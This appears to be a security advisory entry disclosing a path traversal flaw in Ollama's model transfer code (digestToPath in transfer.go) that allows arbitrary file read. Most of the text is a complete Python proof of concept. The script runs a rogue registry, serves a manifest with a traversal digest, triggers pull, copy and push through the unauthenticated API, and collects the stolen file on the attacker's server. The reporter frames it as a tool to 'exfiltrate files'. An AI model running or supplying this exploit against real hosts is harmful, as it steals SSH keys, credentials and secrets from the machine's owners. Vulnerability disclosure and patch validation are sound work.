| الوصف | A Critical path traversal vulnerability exists in Ollama's tensor model transfer package. The digestToPath() function in x/imagegen/transfer/transfer.go does not validate digest strings before using them to construct file paths. An attacker who can reach the Ollama API (unauthenticated, binds x.x.x.x by default) can serve a malicious OCI manifest with a crafted digest field containing directory traversal sequences. During model pull, the exist-check in transfer/download.go uses os.Stat on the traversal path with no hash verification, if the target file exists with a matching size, the blob is accepted without download. The manifest is then written to disk with the traversal digest embedded. When the model is subsequently pushed, os.Open in transfer/upload.go follows the traversal path and uploads the target file's contents to the attacker's server. This allows reading any file accessible to the Ollama process. Confirmed against v0.20.2 (latest stable release). The Ollama API requires no authentication by default.
An attacker with network access to the Ollama API can read arbitrary files from the host filesystem, including SSH keys, credentials, and application secrets.
I have attached a PoC to help with validation. Just point the PoC at the Ollama instance and exfiltrate files. Tested with a 'secret.txt' in /home/user/ directory to confirm impact.
```python
#!/usr/bin/env python3
# Ollama <= 0.20.2 — Arbitrary File Read via Tensor Digest Path Traversal
# Usage: python3 poc.py <ollama_host:port> <file_path> <file_size>
# Example: python3 poc.py 192.168.1.50:11434 /etc/hostname 8
import hashlib,json,socket,sys,threading,time,urllib.request
from http.server import HTTPServer,BaseHTTPRequestHandler
host,fpath,fsz=sys.argv[1],sys.argv[2],int(sys.argv[3])
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.connect(("x.x.x.x",80));ip=s.getsockname()[0];s.close()
tgt=f"sha256:../../../../../../../../{fpath.lstrip('/')}"
cfg=b'{"architecture":"amd64","os":"linux"}'
cd="sha256:"+hashlib.sha256(cfg).hexdigest()
out=[]
class R(BaseHTTPRequestHandler):
def do_GET(s):
if"/manifests/"in s.path:
m=json.dumps({"schemaVersion":2,"mediaType":"application/vnd.docker.distribution.manifest.v2+json","config":{"mediaType":"application/vnd.docker.container.image.v1+json","digest":cd,"size":len(cfg)},"layers":[{"mediaType":"application/vnd.ollama.image.tensor","digest":tgt,"size":fsz}]}).encode()
s.send_response(200);s.send_header("Content-Type","application/vnd.docker.distribution.manifest.v2+json");s.send_header("Content-Length",str(len(m)));s.send_header("Docker-Content-Digest","sha256:"+hashlib.sha256(m).hexdigest());s.end_headers();s.wfile.write(m);return
if"/blobs/"in s.path:s.send_response(200);s.send_header("Content-Length",str(len(cfg)));s.end_headers();s.wfile.write(cfg);return
s.send_response(200);s.send_header("Docker-Distribution-API-Version","registry/2.0");s.end_headers()
def do_HEAD(s):
if"/blobs/"in s.path:s.send_response(200);s.send_header("Content-Length",str(len(cfg)));s.end_headers();return
s.send_response(404);s.end_headers()
def log_message(*a):pass
class X(BaseHTTPRequestHandler):
def do_GET(s):s.send_response(200);s.send_header("Docker-Distribution-API-Version","registry/2.0");s.end_headers()
def do_HEAD(s):s.send_response(404);s.end_headers()
def do_POST(s):
cl=int(s.headers.get("Content-Length",0))
if cl:s.rfile.read(cl)
s.send_response(202);s.send_header("Location",f"http://{ip}:10000{s.path.rstrip('/')}/u");s.send_header("Docker-Upload-UUID","u");s.end_headers()
def do_PATCH(s):
cl=int(s.headers.get("Content-Length",0));d=s.rfile.read(cl)if cl else b""
if d and d.rstrip(b"\x00")!=cfg:out.append(d.rstrip(b"\x00"))
s.send_response(202);s.send_header("Location",f"http://{ip}:10000{s.path}");s.send_header("Range",f"0-{max(cl-1,0)}");s.send_header("Docker-Upload-UUID","u");s.end_headers()
def do_PUT(s):
cl=int(s.headers.get("Content-Length",0));d=s.rfile.read(cl)if cl else b""
if"/manifests/"in s.path:s.send_response(201);s.end_headers();return
if d and d.rstrip(b"\x00")!=cfg:out.append(d.rstrip(b"\x00"))
s.send_response(201);s.end_headers()
def log_message(*a):pass
for p,h in[(9999,R),(10000,X)]:threading.Thread(target=HTTPServer(("x.x.x.x",p),h).serve_forever,daemon=True).start()
time.sleep(0.5)
def q(e,d,t=20):
try:r=urllib.request.Request(f"http://{host}{e}",data=json.dumps(d).encode(),headers={"Content-Type":"application/json"});return urllib.request.urlopen(r,timeout=t).read().decode()
except Exception as e:return str(e)
m1,m2=f"http://{ip}:9999/library/p:latest",f"http://{ip}:10000/library/p:latest"
r=q("/api/pull",{"model":m1,"insecure":True,"stream":False})
if"success"not in r.lower():print("[-] Pull failed");sys.exit(1)
q("/api/copy",{"source":m1,"destination":m2})
q("/api/push",{"model":m2,"insecure":True,"stream":False},30)
q("/api/delete",{"model":m1});q("/api/delete",{"model":m2})
if out:b=max(out,key=len);print(f"[+] {fpath} ({len(b)}b):\n{b.decode(errors='replace')}")
else:print("[-] Exfil failed")
```
|
|---|